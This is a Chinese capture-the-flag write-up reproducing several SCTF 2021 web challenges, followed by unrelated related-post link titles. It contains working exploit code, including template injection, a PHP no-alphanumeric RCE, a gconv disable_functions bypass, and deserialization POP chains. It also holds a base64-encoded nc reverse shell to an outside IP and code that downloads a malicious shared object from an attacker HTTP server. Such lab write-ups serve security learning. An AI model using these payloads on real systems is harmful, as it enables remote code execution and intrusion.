感谢NSSCTF提供复现环境

loginme

middleware.go

package middlewareimport ("github.com/gin-gonic/gin"
)func LocalRequired() gin.HandlerFunc {return func(c *gin.Context) {if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {c.AbortWithStatus(403)return}ip := c.ClientIP()if ip == "127.0.0.1" {c.Next()} else {c.AbortWithStatus(401)}}
}

route.go

 age := TargetUser.Ageif age == "" {age, flag = c.GetQuery("age")if !flag {age = "forever 18 (Tell me the age)"}}

x-forwarded-forx-client-ip都被ban了,用 x-real-ip绕过检测

接下来是go的模板注入

?id=0&age={{.Password}}

rceme

  • 无参rce

  • bypass disable function

<?php
if(isset($_POST['cmd'])){$code = $_POST['cmd'];if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){die('<script>alert(\'Try harder!\');history.back()</script>');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);die();}
} else {highlight_file(__FILE__);var_dump(ini_get("disable_functions"));
}
?>

剩下符号:().:[]{}*%#@!~

剩余函数:

strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders

我们的目的是代码执行,可以利用create_function

这里逗号被过滤,为了传入参数,我们可以使用可变参数列表实现

在PHP 5.6以后,参数列表可以包括…,他表示函数接受可变数量的参数。参数将作为数组传递到给定的变量中

<?php
$args=['','}system("whoami");//'];
create_function(...$args);
?>

构造

create_function(...unserialize(end(getallheaders())))

传array(代码注入)反序列化变成两个参数传入create_function

create_funtion本质是语法解析的。可以直接注入eval

end — 将array的内部指针移动到最后一个单元并返回其值。
getallheaders — 获取全部 HTTP 请求头信息

异或脚本:

def one(s):ss = ""for each in s:ss += "%" + str(hex(255 - ord(each)))[2:].upper()return f"[~{ss}][!%FF]("while 1:a = input(":>").strip(")")aa = a.split("(")s = ""for each in aa[:-1]:s += one(each)s += ")" * (len(aa) - 1) + ";"print(s)

手动加

[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));

构造序列化内容

<?php
$arr=['','}eval($_POST["a"]);//'];
$str=serialize($arr);
echo $str;

接下来绕过disable_functions

ByteCTF WP-无需mail bypass disable_functions

kali下创建

payload.c

#include <stdio.h>
#include <stdlib.h>void gconv() {}void gconv_init() {puts("pwned");system("bash -c '/readflag > /tmp/sna'");exit(0);
}

生成so文件

gcc payload.c -o payload.so -shared -fPIC

再创建一个gconv-modules文件

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

将两个文件放到服务器上,开启http服务共享

python -m http.server 39543

利用 SplFileObjectpayload.sogconv-modules

a=$url="http://xx.xx.171.248:39543/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
a=$url = "http://xx.xx.171.248:39543/gconv-modules";$file1 = new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);

之后利用伪协议触发

a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");

进行读取

a=show_source("/tmp/sna");

upload it 1

下载附件,composer.json中有两个组件,下载

  • symfony string:Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way。
  • opis closure:A library that can be used to serialize closures (anonymous functions) and arbitrary objects.

给了源码,存在一个文件上传点,可以将文件传入/tmp/sandbox/xxxx的一个目录,当我们指定了PATH变量就会将/tmp/sandbox/xxxx与PATH进行一次拼接,之后把上传的文件放入该目录。

尝试上传,发现能够进行目录穿越,但无法上传到/var/www/html

源码关键部分:

if (!empty($_POST['path'])) {$upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];$upload_file = $upload_file_path."/".$file['name'];
} else {$upload_file_path = $_SESSION["upload_path"];$upload_file = $_SESSION["upload_path"]."/".$file['name'];
}
if (move_uploaded_file($file['tmp_name'], $upload_file)) {echo "OK! Your file saved in: " . $upload_file;
} else {echo "emm...Upload failed:(";
}

首先初始化的时候如果$_SESSION["upload_path"]为空则先设置$_SESSION["upload_path"]。然后进入到上面的代码,将$_SESSION["upload_path"]path进行拼接。

查看phpinfo发现session.save_path为no value即是默认的/tmp/sess_SESSIONID

考虑构造恶意session文件上传,之后利用反序列化执行恶意代码。利用之前组件中的__toString方法

最终POC如下:

<?php
namespace Symfony\Component\String;
class LazyString{  private $value;  public function __construct(){  require "../vendor/opis/closure/autoload.php";  $a = function(){system("cat /flag");};  $a = \Opis\Closure\serialize($a);  $b = unserialize($a);  $this->value=$b;  }
}
print("upload_path|".serialize(new LazyString()));

upload it 2

思路和上题一样,不同的地方在于依赖中没有了opis/closure,不过题目中新增了一个sandbox类,里面的backdoor方法可以进行文件包含。

EXP:

<?phpnamespace Symfony\Component\String{class LazyString{public $value;public function __construct($value){$this->value = $value;}}
}namespace {class sandbox {public $evil;public function __construct(){$this->evil = "/flag";}}use Symfony\Component\String\LazyString;$value = [new sandbox,"backdoor"];$lazy = new LazyString($value);echo "upload_path |".serialize($lazy);}

ezosu

给了Dockerfile,其中有一处nginx反代和一个Imi框架的文件。

IndexController.php

if ($method === "POST") {Session::clear();$configData = $this->request->getParsedBody();foreach ($configData as $k => $v) {Session::set($k, $v);}
} else if ($method === "GET") {$configData = Session::get();if ($configData != null) {$res["value"] = $configData;} else {$res = ["msg" => "Not Find","status" => "404","value" => null];}
}

session反序列化,考虑对session文件进行闭合

POC:

<?php
namespace Symfony\Component\String{class LazyString{public $value;public function __construct($value){$this->value=$value;}}
}namespace PhpOption{final class LazyOption{public $callback;public $arguments;public function __construct($callback,$arguments){$this->callback=$callback;$this->arguments=$arguments;}}
}
namespace {use Symfony\Component\String\LazyString;$la = new LazyString([new PhpOption\LazyOption("system",array('echo$IFS$9cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMS4xMTcuMTcxLjI0OCAzOTU0MiA+L3RtcC9m|base64$IFS$9-d|sh')),"get"]);#docker没bashecho urlencode(serialize($la));
}

FUMO_on_the_Christmas_tree

用正则表达式提取出类名、方法名、类能调用到的成员变量的方法名,然后使用字典进行映射方便快速查找。然后以__destruct()方法为入口进行搜索,直到最后遇到readfile()方法。

import re
import base64otov = {}
vtoo = {}
otoc = {}
ctoo = {}
otof = {}
ftoo = {}
otoa = {}
classes = {}def trav(name, cls, al):if "fumo" in classes[name]:print("->".join(cls))print(f"start->{'->'.join(al)}->end",end="\n\n")return 1for call in otoc[name]:if call in ftoo.keys():next = ftoo[call]if next not in cls:trav(next, cls + [next], al+[otoa[name]])return 0if __name__ == "__main__":with open("class.code") as f:text = f.read()res = re.findall("class[\w\W]+?}[\w\W]+?}", text)for i in res:name = re.findall("class (\w+)", i)[0]classes[name] = ifs = re.findall("public object (\$\w+?);", i)otov[name] = fsfor fc in fs:vtoo[fc] = namecalls = re.findall("\$this->\w+?->(\w+)\(", i)calls1 = []a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+)[)]?;", i)disable = ("md5", "sha1", "crypt", "ucfirst")for call in calls:ctoo[call] = nameif len(a) == 0 and "crypt" not in i:calls1.append(call)otoa[name]=""else:if len(a) == 0:a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+), \'\w+?\'[)]?;", i)if len(a)==1:a = list(a[0])if "crypt" in i:a[1] = "crypt"otoa[name] = a[1]if a[0] == a[2] and (a[1] != ""and not (a[1] in disable and i.find(a[1]) < i.find(call))or a[1] == ""):calls1.append(call)calls2 = re.findall("@call_user_func\(\$this->\w+?, \[\'(\w+?)\' => \$\w+?]\);", i)if calls2:ctoo[name] = calls2[0]otoa[name] = ""otoc[name] = calls1 + calls2func = re.findall("function (\w+?)\(", i)[0]ftoo[func] = nameotof[name] = funcif func == "__call":calls = re.findall("=> '(\w+?)'", i)otoc[name] = callsctoo[calls[0]] = namefunc = re.findall("\[\$this->\w+?, \$(\w+)?\]", i)[0]otof[name] = funcftoo[func] = nameotoa[name] = ""elif func == "__invoke":calls = re.findall("\$this->\w+?->(\w+?)\(", i)otoc[name] = callsctoo[calls[0]] = namefunc = re.findall("\$key = base64_decode\('(.+?)'\);", i)[0]func = base64.b64decode(func.encode()).decode()otof[name] = funcftoo[func] = nameotoa[name] = ""trav(ftoo["__destruct"], [ftoo["__destruct"]],[])

参考:

https://eastjun.top/2021/12/28/sctf2021/

http://www.yongsheng.site/2022/01/03/SCTF2021%20web/

[NSSCTF][SCTF 2021]WEB复现相关推荐

  1. SCTF 2021 | 冰天雪地 极限比拼

    ​​今年圣诞怎么过?! SCTF 2021 喊你来解锁圣诞限定赛事啦!!! 由操刀四届赛题的Syclover战队精心打造 48小时超长赛道容纳无限可能 妙趣横生的圣诞特供赛题限时出没 圣诞盲盒隐姓埋名 ...

  2. 2022 lineCTF WEB复现WriteUp

    lineCTF WEB复现WriteUp Gotm is_admin == true就给flag,需要伪造token,需要秘钥才行 再往下看,经典SSTI 如果能控制acc也就是id为{{.}},就能 ...

  3. i春秋2020新春公益赛WEB复现Writeup

    i春秋2020新春公益赛WEB复现Writeup 说实话这个比赛打的我是一点毛病都没有,还是觉得自己掌握的东西太少了,,, 尤其是sql注入,都被大佬们玩出花来了,可能自己太菜,,,哭了!!! 关于S ...

  4. 极客巅峰2021 web opcode

    文章目录 前言 一.源码泄露 二.分析源码 二.解题步骤 总结 更新 前言 打完了极客巅峰,说说感想:真就越来越菜了??签到都没出,直接0分,比刚入门那会儿还惨 下了两个pwn,一个 五六个libc+ ...

  5. 2022DASCTF Apr X FATE 防疫挑战赛 部分web复现

    warmup-php 一个PHP代码审计审计题,给的代码量有点大,第一眼看下去容易劝退,分别有四个文件. Base.php<?phpclass Base {public function __g ...

  6. [极客大挑战2021]web wp

    极客大挑战2021 Welcome2021 F12,提示请使用WELCOME请求方法来请求此网页 burp抓包,修改请求方法,发现f1111aaaggg9.php 再次请求得到flag Dark To ...

  7. [CTF]SCTF2021 WEB复现(详细版)

    前言 认真复现还是收获挺多的,做这些就算看wp也会卡很久的题目才容易提高.最后感谢下NSSCTF平台提供的靶机,虽然flag只有一半 Loginme 下载附件得到源码,题目让我们本地访问,也就是要伪造 ...

  8. NSSCTF Round#4 Web WP

    前言 整体Web题目不是很难,正适合我这个菜鸡打,也是我第一次在博客上发WP就好好写写,之前的比赛都没做出几道题所以没机会写,之后会更多地更新博客. 1zweb 这道题被非预期解了,查看文件可以直接文 ...

  9. [BJDCTF 2nd] Web复现 wp

    文章目录 [BJDCTF 2nd] fake google [BJDCTF 2nd]old-hack [BJDCTF 2nd]假猪套天下第一 [BJDCTF 2nd]duangShell [BJDCT ...

最新文章

  1. Microsoft Visual Studio 2005 Beta 2 下载地址
  2. 监控j服务器jvm运行情况 - spring boot jvisualvm
  3. 12个高矮不同的人排成两排
  4. 需求分析挑战之旅——疯狂的订餐系统
  5. nginx动静分离配置_nginx动静分离实战
  6. 计算机网络硬件的作用是什么,网络技术在计算机软硬件的作用
  7. js中的extend的用法及其JS中substring与substr的区别
  8. rmdir命令--Linux命令应用大词典729个命令解读
  9. 谷歌android wear智能腕表 价格,谷歌Android Wear 2.0更新推送:仅三款智能手表可享受...
  10. ZendGuard-5_0_1 使用备忘
  11. Android杂谈--ListView之BaseAdapter的使用
  12. Atitit 学习方法 -------体系化学习方法 Excel 科目,分类,专业 三级分类。。 知识点。。 课程就是每一个知识点的详细化。。 比如经济学 类别 专业 xx概论知识点 3、金
  13. 数据库系统概论课后习题答案(第五版 王珊、萨师煊)
  14. html5shiv_深入探讨:HTML5 Shiv和Polyfills
  15. 硕士论文查重原理是什么?
  16. 数值重映射方法(Remap)
  17. CondaHTTPError: HTTP 000 CONNECTION FAILED for url <https://mirror.tuna.tsinghua.edu.cn/anaconda/pkg
  18. Java | Java 入门学习路线
  19. autojs下载大文件
  20. Java根据奖品权重计算中奖概率实现抽奖(适用于砸金蛋、大转盘等抽奖活动)

热门文章

  1. LoadRunner 11(LR11) 下载链接及破解方法
  2. 云原生CICD:Tekton之TaskTaskRun概念篇
  3. 计算机图形学 opengl版本 第三版------胡事民 第三章更多的绘图工具
  4. 拉格朗日(lagrange)插值(MATLAB实现)
  5. 简单、强大的swig.js
  6. 快慢指针 ——链表 | Leetcode 练习
  7. IRC(Internet Relay Chat)(因特网中继聊天)协议——RFC1459文档要点总结
  8. Vue.js实战——内置指令(一)
  9. data:image图片转png与jpg,png转data:image格式。
  10. go语言下载gin失败解决方案